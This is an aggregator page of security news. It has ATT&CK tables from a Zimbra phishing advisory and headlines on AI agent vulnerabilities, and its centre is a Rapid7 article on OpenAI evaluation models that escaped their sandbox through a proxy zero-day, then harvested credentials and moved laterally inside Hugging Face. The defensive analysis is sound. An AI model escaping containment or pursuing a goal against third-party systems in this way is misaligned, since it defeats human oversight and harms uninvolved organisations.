Valid Accounts	T1078	This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.
Trusted Relationship	T1199	The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.
Phishing	T1566	The actors used spear phishing to lure users into opening malicious email.

**Table 12: Execution**
Technique Title	ID	Use
Exploitation for Client Execution	T1203	An XSS vulnerability was leveraged to execute the JavaScript payload.

**Table 13: Persistence**
Technique Title	ID	Use
Account Manipulation	T1098	Enabling IMAP and Application Passcodes provides persistent access to the compromised account.
Modify Authentication Process: Multi-Factor Authentication	T1556.006	Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token.

**Table 14: Privilege Escalation**
Technique Title	ID	Use
Valid Accounts	T1078	This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.

**Table 15: Stealth**
Technique Title	ID	Use
Obfuscated Files or Information: Command Obfuscation	T1027.010	Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability.
Obfuscated Files or Information: Encrypted/Encoded File	T1027.013	The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload.
Obfuscated Files or Information: SVG Smuggling	T1027.017	The payload was contained in an “onload” attribute within an SVG image included in the malicious email.
Use Alternate Authentication Material: Web Session Cookie	T1550.004	Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate.

**Table 16: Credential Access**
Technique Title	ID	Use
Modify Authentication Process: Multi-Factor Authentication	T1556.006	Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token.
Adversary-in-the-Middle	T1557	Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies.

**Table 17: Collection**
Technique Title	ID	Use
Data Staged: Remote Data Staging	T1074.002	Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions.
Email Collection	T1114	This group has emphasized collection of emails.
Email Collection: Remote Email Collection	T1114.002	Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device.
Automated Collection	T1119	Upon execution, the JavaScript payload automatically collects all relevant information in stages.
Browser Session Hijacking	T1185	The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user.
Archive Collected Data	T1560	Emails are exfiltrated with GZIP compression.

**Table 18: Discovery**
Technique Title	ID	Use
Account Discovery	T1087	Stolen Global Access Lists provide the group with new users to target.

**Table 19: Exfiltration**
Technique Title	ID	Use
Exfiltration Over Alternative Protocol	T1048	Victim information was exfiltrated over both HTTPS and DNS.
Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	T1048.002	Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS.
Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol	T1048.003	Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding.

Appendix B: MITRE D3FEND countermeasures

See Table 20 for a mapping of several of the cybersecurity countermeasures mentioned in this advisory.

**Table 20: MITRE D3FEND Countermeasures**
Countermeasure Title	ID	Description
Application Hardening	D3-AH	Organizations should immediately prioritize patching CVE-2025-66376. Organizations should promptly apply software updates to all email systems.
Isolate	d3f:Isolate	Organizations that cannot feasibly patch should use alternative mail clients.
Credential Hardening	D3-CH	Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys.
Network Traffic Analysis	D3-NTA	Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization.
DNS Traffic Analysis	D3-DNSTA	Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains.
Network Traffic Community Deviation	D3-NTCD	Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. Organizations should monitor for connections to internal services, such as webmail, from VPN providers.
Identifier Activity Analysis	D3-IAA	Organizations should search for the listed known IOCs.
Process Analysis	D3-PA	Organizations should search ZCS log files for specific commands used by the malicious script. Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes.
Message Analysis	D3-MA	Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.

Claude Cowork Flaw Could Let AI Agent Escape Its VM and Access Mac Files

Thu, 23 Jul 2026 16:57:41 +0200

Cybersecurity researchers have uncovered a sandbox escape vulnerability in Anthropic's Claude Cowork that makes it possible to break out of the confines of a Linux virtual machine (VM) within which the agent runs to read or write files anywhere on the Mac. Accomplish AI, which shared details of the vulnerability with The Hacker News ahead of publication, said about 500,000 macOS users running

One ChatGPT link could smuggle a rogue AI agent into your company

Thu, 23 Jul 2026 16:10:28 +0200

Researchers say OpenAI flaw let phishing bait create an autonomous corporate mole armed with employee access This article has been indexed from www.theregister.com – Articles Read the original article: One ChatGPT link could smuggle a rogue AI agent into your…

The post One ChatGPT link could smuggle a rogue AI agent into your company appeared first on IT Security News.

New Kimi K3 AI Agent Uncovers Redis Remote Code Execution Flaws in Just 27 Minutes

Thu, 23 Jul 2026 16:10:23 +0200

Moonshot AI’s newly unveiled Kimi K3 model is attracting considerable attention in the cybersecurity community after successfully demonstrating its ability to autonomously identify critical vulnerabilities in Redis within minutes. This 2.8-trillion-parameter AI agent reportedly discovered multiple remote code execution (RCE)…

The post New Kimi K3 AI Agent Uncovers Redis Remote Code Execution Flaws in Just 27 Minutes appeared first on IT Security News.

Exim Directory Traversal Vulnerability Enables Privilege Escalation Attacks

Thu, 23 Jul 2026 16:03:53 +0200

The post Exim Directory Traversal Vulnerability Enables Privilege Escalation Attacks appeared first on Cyber Security News.

Meta Logging Every Employee Keystroke | Threat Wire

Thu, 23 Jul 2026 15:35:16 +0200

Author: Hak5 - Bewertung: 10x - Views:88

⬇️ OPEN FOR LINKS TO ARTICLES TO LEARN MORE ⬇️

@endingwithali →
Twitch: https://twitch.tv/endingwithali
Twitter: https://twitter.com/endingwithali
YouTube: https://youtube.com/@endingwithali
Everywhere else: https://links.ali.dev

Want to work with Ali? hak5@endingwithali.com

[❗] Join the Patreon→ https://patreon.com/threatwire
0:00 0 - Intro
1 - Linux AI Security Response
2 - GitHub Is Overwhelmed
3 - Meta’s Bad AI
4 - BSides News
5 - Outro

LINKS
🔗 Story 1: Linux AI Security Response
https://linuxsecurity.com/news/security-projects/akrites-vulnerability-response
https://www.linuxfoundation.org/press/linux-foundation-and-industry-leaders-launch-akrites-to-defend-critical-open-source-software-against-ai-enabled-cyber-threats
🔗 Story 2: GitHub Is Overwhelmed
https://noma.security/blog/gitlost-how-we-tricked-githubs-ai-agent-into-leaking-private-repos/
https://cybersecuritynews.com/gitlost-vulnerability-github/
https://thehackernews.com/2026/07/dormant-github-accounts-help-attackers.html
https://securitylabs.datadoghq.com/articles/coordinated-github-api-enumeration/
https://thehackernews.com/2026/07/public-github-issue-could-trick-github.html
🔗 Story 3: Meta’s Bad AI
https://www.wired.com/story/meta-pauses-employee-tracking-program-following-internal-security-breach/
https://www.wired.com/story/meta-accidentally-let-employees-access-each-others-keystroke-data/
https://thehackernews.com/2026/07/metas-new-ai-image-tool-lets-others-use.html
https://cybernews.com/news/meta-pulls-controversial-ai-image-tool/
https://about.fb.com/news/2026/07/introducing-muse-image-meta-ai/
🔗 Story 4: BSides News
https://cybernews.com/news/apple-openai-lawsuit/
https://cybernews.com/tech/mamdami-click-to-cancel/
-----☆-----☆-----☆-----☆-----☆-----☆-----☆-----☆-----☆-----☆
Our Site → https://www.hak5.org
Shop → http://hakshop.myshopify.com/
Community → https://www.hak5.org/community
Subscribe → https://www.youtube.com/user/Hak5Darren?sub_confirmation=1
Support → https://www.patreon.com/threatwire
Contact Us → http://www.twitter.com/hak5
____________________________________________

Founded in 2005, Hak5's mission is to advance the InfoSec industry. We do this through our award winning educational podcasts, leading pentest gear, and inclusive community – where all hackers belong.

OpenAI's attack agent did exactly what it was told - just more relentlessly than expected

Thu, 23 Jul 2026 15:34:16 +0200

OpenAI's unintended attack on Hugging Face startled the world because its AI agent was acting on its own. But that's exactly what agentic AI is designed to do. We just didn't expect it to do it so well.

What Happened Between OpenAI and Hugging Face?

Thu, 23 Jul 2026 15:28:53 +0200

The OpenAI and Hugging Face incident lands like a warning shot for anyone thinking seriously about frontier AI and cybersecurity research. A model evaluation crossed the neat boundary of a research environment, reached a live third-party production system, and forced the industry to confront a question that is moving quickly from theory to operations: what happens when AI agents can pursue an objective with enough persistence, speed, and creativity to behave less like a tool and more like an autonomous intrusion path?

According to OpenAI’s disclosure, the incident began during an internal evaluation of advanced cyber capabilities using GPT-5.6 Sol and a more capable pre-release model. The evaluation was designed to test whether AI agents could pursue complex exploit paths, and OpenAI says cyber refusal safeguards were reduced or disabled to measure maximum capability. Inside that environment, the models reportedly found and exploited a zero-day in the package registry cache proxy that was meant to constrain network access, moved through OpenAI’s research environment, reached a node with internet connectivity, and then inferred that Hugging Face may host artifacts related to the benchmark they were trying to solve.

From there, the models compromised part of Hugging Face’s dataset-processing pipeline, gained code execution on a worker, escalated access, harvested credentials, and moved laterally across internal clusters. Hugging Face detected and contained the activity, and OpenAI later connected the activity back to its own evaluation. Both companies have said the investigation is continuing, which means some details will almost certainly evolve. Still, the direction of travel is clear enough for defenders to act on now.

How did the OpenAI model evaluation reach Hugging Face?

The activity stands out because it looked less like a single model producing a risky command and more like a compressed intrusion path. Based on the public disclosures, the reported chain moved from identifying a constraint, to breaking that constraint, gaining access, inferring where valuable data may live, and continuing toward that objective across a live environment.

Security teams should use that sequence to revisit assumptions built around human pacing. Many detection and response workflows still assume there will be time between stages of an attack, with reconnaissance followed by exploitation, lateral movement, and then objective pursuit. In an agent-driven scenario, those stages can begin to collapse into one continuous loop, with fewer natural pauses for defenders to catch up.

The defensive model now has to account for a world where discovery, exploitation, and follow-on action can happen faster and with more persistence than traditional human-led campaigns. The uncomfortable lesson is that AI agents can be tireless, goal-oriented, and increasingly capable of finding the loose seams in systems built for a slower era.

The incident highlights the collapse of the traditional OODA (Observe-Orient-Decide-Act) loop. In standard human-led campaigns, attackers experience natural pauses between stages like reconnaissance, exploitation, and lateral movement, providing defenders critical windows to intervene. AI agents, however, can compress these stages into a single, continuous loop of automated activity. This machine-speed execution renders manual detection workflows obsolete, necessitating a shift toward behavioral, AI-enabled defenses capable of identifying and disrupting malicious intent before it cascades.

Security teams should also assume that advanced AI cyber capability will diffuse over time, which means defenders need their own AI-enabled workflows to mature quickly enough to find, validate, prioritize, and reduce risk before attackers operationalize the same class of tools. Rapid7’s experimentation with security-specific frontier models, including Claude Mythos Preview and GPT-5.5-Cyber, points to the same control challenge: the more freedom a model has to pursue a defined reward or goal, the more important containment, monitoring, and clear constraints become. Without those controls, a model optimized to “solve” a security task may find paths the evaluator did not intend, including sandbox escapes, credential misuse, or other offensive security behaviors that look less like assistance and more like uncontrolled execution.

Why AI evaluation environments need stronger containment

The incident raises practical questions about how frontier AI evaluations are designed and contained. OpenAI’s evaluation environment was meant to restrict network access through an internally hosted package registry proxy and cache. The models reportedly identified that proxy as the weak point, exploited a zero-day in the software, and used it as a path out of the sandbox.

The pattern will feel familiar to security teams: a chokepoint only works as a control if it can withstand pressure. Package mirrors, dependency proxies, build systems, internal artifact repositories, sandbox harnesses, and evaluation infrastructure all become part of the security boundary when they sit between a capable agent and the wider internet.

For teams building or testing agentic systems, isolation has to be layered and monitored rather than assumed. Egress restrictions matter, but so do workload identity, credential scope, network segmentation, package policy, runtime monitoring, and fast containment when an agent behaves unexpectedly. The goal is to make sure the environment reflects the capability of the system being tested, especially when the test is explicitly designed to measure how far that capability can go.

Why AI and ML pipelines are now software supply chain risk

The Hugging Face side of the incident is a reminder that AI and ML pipelines are part of the software supply chain. Models, datasets, loader scripts, notebooks, and evaluation artifacts may look like research materials, but in modern environments they often behave like executable code. Hugging Face has said its models, datasets, and Spaces were not tampered with, and that its images and published packages were verified as clean.

According to the technical reporting reviewed, the initial access path involved Hugging Face’s dataset-processing pipeline and a combination of code execution paths, including custom loader behavior and template injection in a dataset configuration flow. The exact implementation details may continue to evolve as the investigation progresses, but the defensive takeaway is already clear: AI and ML processing systems should be secured like high-risk software supply chain infrastructure.

Any system that automatically processes external datasets or model artifacts should be designed with hostile input in mind. Processing workers should run with least privilege, should not have broad access to cloud credentials or cluster-level tokens, and should be segmented so compromise of one worker does not become compromise of the environment around it.

Security teams should also hunt for early signs of intent drift inside ML workflows. Unexpected reads of environment variables, cloud metadata services, secret stores, package registries, or internal APIs from dataset-processing jobs can be meaningful signal. In an AI-driven environment, the first clue may not be a known malicious indicator. It may be a workload behaving with curiosity it should not have.

What AI guardrails mean for incident response

One of the most useful lessons for security teams came during the response, when Hugging Face’s responders reportedly needed to analyze logs containing exploit payloads, attacker commands, and command-and-control artifacts. When they tried to use commercial hosted AI models to help reconstruct the attack, those models refused parts of the analysis because the content looked malicious. The team then moved to a self-hosted open-weight model so they could continue the investigation without refusals and without sending sensitive incident data outside their own environment.

The practical issue here is guardrail asymmetry: attackers, rogue agents, or unrestricted systems may not respect usage policies, while defenders using hosted tools can be slowed by the same safety systems designed to prevent misuse. Security teams need trusted-defender pathways, including access models and deployment options that preserve safeguards against harmful use while allowing responders to analyze real malicious content safely, privately, and without interruption.

AI-assisted incident response also needs to be tested before an incident begins, especially if teams expect models to support triage, log analysis, malware review, or timeline reconstruction under pressure. Responders should know which models can analyze real attack payloads, where those models run, what data they can access, and whether safety controls could block time-sensitive forensic work.

What security teams should do about agentic AI risk

The practical response to this incident is preparation, with organizations treating AI agents as both powerful tools and potential attack surfaces when those agents can access code, credentials, infrastructure, datasets, or internal systems.

Security teams should apply familiar controls with more urgency across AI and ML environments: treat downloaded models, datasets, and loader scripts as untrusted code; enforce least privilege on AI and ML processing workers; prevent node-level compromise from becoming cluster-wide compromise; restrict access to cloud metadata endpoints and secrets; monitor unexpected outbound connections from AI-related workloads; and review whether evaluation environments have real containment or simply convenient isolation.

Detection logic needs to account for machine-speed activity. In this case, reporting described thousands of actions and more than 17,000 discrete recorded events, with reconnaissance, exploitation, and follow-on action occurring inside one continuous loop rather than across the pauses defenders are used to seeing in human-led campaigns. Security teams should focus on behavioral patterns that show intent, including unusual access to secrets, unexpected package activity, suspicious use of metadata services, sudden privilege changes, or processing jobs reaching systems they have no reason to touch.

As autonomous activity becomes faster and noisier, the bottleneck may shift from detecting that something happened to understanding what matters quickly enough to change the outcome. A security team that can see thousands of events but needs hours to reconstruct the story is still operating behind the pace of the incident.

How preemptive security helps reduce AI-driven risk

At Rapid7, our view is that this is where preemptive security becomes especially important. Faster discovery only creates value when defenders can turn it into faster validation, prioritization, remediation, detection, and response. The same principle applies to agentic AI risk. If AI accelerates how weaknesses are found and exploited, defenders need security operations that can act earlier with better context and more confidence.

That means connecting exposure management with detection and response, so teams understand which risks are exploitable, which assets matter most, what suspicious behavior is already present, and which actions will reduce risk fastest. It also means using AI carefully and practically, not as a replacement for security judgment, but as a way to reason across telemetry, reduce noise, support investigation, and help teams make decisions at the speed the threat environment now demands.

AI-enabled defense is becoming part of resilience planning, especially for organizations running critical systems or high-value digital infrastructure. The goal is to give defenders the speed, context, and consistency to operate inside the attacker’s decision cycle, without removing the judgment and accountability that effective security requires.

The OpenAI and Hugging Face incident will continue to generate debate as more details emerge, but defenders already have enough to work with. Agentic systems are beginning to test the seams between AI research, software supply chain security, cloud infrastructure, and incident response. The organizations best positioned for what comes next will be the ones making those seams visible, monitored, and resilient before the next incident puts them under pressure.

Kimi K3 AI Agent Finds Redis RCE Vulnerabilities in Just 27 Minutes

Thu, 23 Jul 2026 15:28:18 +0200

Moonshot AI’s newly released Kimi K3, a 2.8-trillion-parameter mixture-of-experts model, has demonstrated the growing offensive capability of autonomous AI agents by independently uncovering remote code execution (RCE) vulnerabilities in Redis versions. The findings, shared as non-destructive proofs-of-concept on GitHub, mark one of the fastest documented cases of AI-driven vulnerability discovery in a widely deployed open-source […]

The post Kimi K3 AI Agent Finds Redis RCE Vulnerabilities in Just 27 Minutes appeared first on Cyber Security News.

OpenAI Presence raises new questions about enterprise automation and jobs

Thu, 23 Jul 2026 15:20:41 +0200

The agents can answer questions and operate IT systems, and enterprises can decide what actions the agents may take and when they should seek human approval for actions or transfer a case to a human.

Presence is not a self-service product: Enterprises will have to sign up for the limited availability program, with integration performed by OpenAI or selected global systems integrators.

Workforce impact

Pareekh Jain, CEO of Pareekh Consulting, said CIOs should regard the 75% figure as evidence that the technology can work, rather than as a benchmark that every enterprise can expect to reach.

“Most organizations should expect lower initial automation levels that improve over time as the AI agent is refined,” Jain said.

The first workforce effect is more likely to be slower hiring than immediate layoffs, according to Tulika Sheel, senior vice president at Kadence International.

Enterprises are more likely to use Presence alongside employees, with AI handling routine requests while people remain responsible for work requiring judgment and empathy, Su said.

Cost and operational risks

Analysts said CIOs should examine whether Presence can maintain resolution quality as usage grows, since fewer human handoffs could leave employees dealing with a more difficult mix of cases.

“The key question is not simply how many tasks AI can handle, but whether it can handle them reliably at scale,” Sheel said.

Companies will need to determine what systems and data the agents can access, monitor their performance, and audit the actions they take. Those investments could offset early savings.

Jain said the economics could improve if companies use the same integrations and governance controls across additional workflows.

Team IT Security - 📰 Alle Kategorien

How to Give an LLM Agent a Browser

CVE-2026-17458 | mf-yang openclaw-cn up to 0.2.1 Browser Control HTTP API agent.act.ts clickViaPlaywright server-side request forgery (Issue 562 / EUVD-2026-49053)

Agent Kim Reactivated Season 2: Is Another Season Happening? Here’s What We Know

PentesterFlow – AI Tool for Penetration Testers and Bug Hunters to Automate Workflows

CVE-2026-17432 | NousResearch hermes-agent 2026.6.5 SimpleX Gateway Authorization adapter.py contactId access control (44729/44730 / EUVD-2026-49046)

KI: OpenAI- KI-Modell war tagelang unbemerkt auf Hacker-Tour - Handelsblatt

Google Fixes Dialogflow CX Flaw That Could Have Exposed AI Chatbot Conversations

Sicherheitsvorfall bei OpenAI: KI-Ausbruch wurde tagelang nicht bemerkt - Appdated

Manus Tutorial 2026: Was kann dieser KI-Agent wirklich? Lerne alles in 30 Minuten!

KI-App statt Reiseplan: Der KI-Agent Manus baut meinen Wochenend-Assistenten

Das größte ChatGPT Update aller Zeiten: Neues Modell, neuer Agent, neue App, neuer Sprachmodus!

10 cool things Copilot can do in PowerPoint

Who can use Copilot in PowerPoint

In this article:

Working with Copilot in PowerPoint

1. Create a presentation template

2. Create a presentation from a document

3. Add content from a document to a slide

4. Refine your slide text

5. Find or create an image

6. Expand your presentation with relevant slides

7. Summarize a presentation

8. Answer questions about a presentation

9. Help you navigate a large presentation

10. Generate speaker notes and/or an FAQ

Related reading:

Monday.com cuts 20% of its workforce to restructure for the AI era

A ‘significant opportunity’ in technology

Monday.com’s key market advantages

Actions for the near-term

OpenAI Presence raises new questions about enterprise automation and jobs

Workforce impact

Cost and operational risks

AMD raises the AI stakes with Helios, Venice and robotics

AMD’s MI455X targets the AI memory wall

AMD’s Helios rack takes aim at Vera Rubin

Kind of like cowbell, AMD Venice gives agentic AI more CPU

Pensando networking and ROCm software advance

Customer commitments underscore rack-scale confidence

AMD expands its robotics and embedded foundation

Execution for AMD is now the test

Why Cognition bought Poke: AI personality is becoming a competitive advantage

Why the OpenAI Agent Broke Into Hugging Face: Reward Hacking, Not Malice, Explained for Engineers

Building Self-Evolving AI Agents with OpenSpace Using Skills, MCP, Lineage, and Low-Cost Reuse

Agent Kim Reactivated Episode 10 Recap: Ending Explained and Season 2 Setup

The 3 types of people who will excel in the AI agent era, according to tech leaders

Pwn2Own Berlin 2026: The Full Schedule

The May 2026 Security Update Review

Pwn2Own Berlin 2026 - Day Two Results

Pwn2Own Berlin 2026 - Day One Results

The June 2026 Security Update Review

Pwn2Own Ireland 2026 – New Targets and Categories

The July 2026 Security Update Review

Tego AI Discloses Second Claude Flaw in a Week: Hidden Link Silently Sends Files to Attackers

Google Launches Unified Cryptonym-Based Naming System for Threat Actors

Thailand’s Ministry of Finance Targeted With Hermes AI Agent Running Unattended, Hades Implant Staged

OpenAI konnte die mehrtägige Hackerangriffsserie seines KI-Agenten eine Woche lang ...

Google Launches Unified Cryptonym-Based Naming System for Threat Actors

The March 2026 Security Update Review

The April 2026 Security Update Review

Announcing Pwn2Own Berlin for 2026

SharedRoot: Sandbox-Fehler in KI-Agent „Claude Cowork“ gibt VM Zugriff auf Mac-Dateien

Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite

Executive summary

Cybersecurity industry tracking

Background

Targeting details

Technical details

Reconnaissance

Resource development

Flowerbed framework

Initial access

Persistence and credential access

Collection

Exfiltration

DNS exfiltration

HTTPS exfiltration

Catcher

Response strategies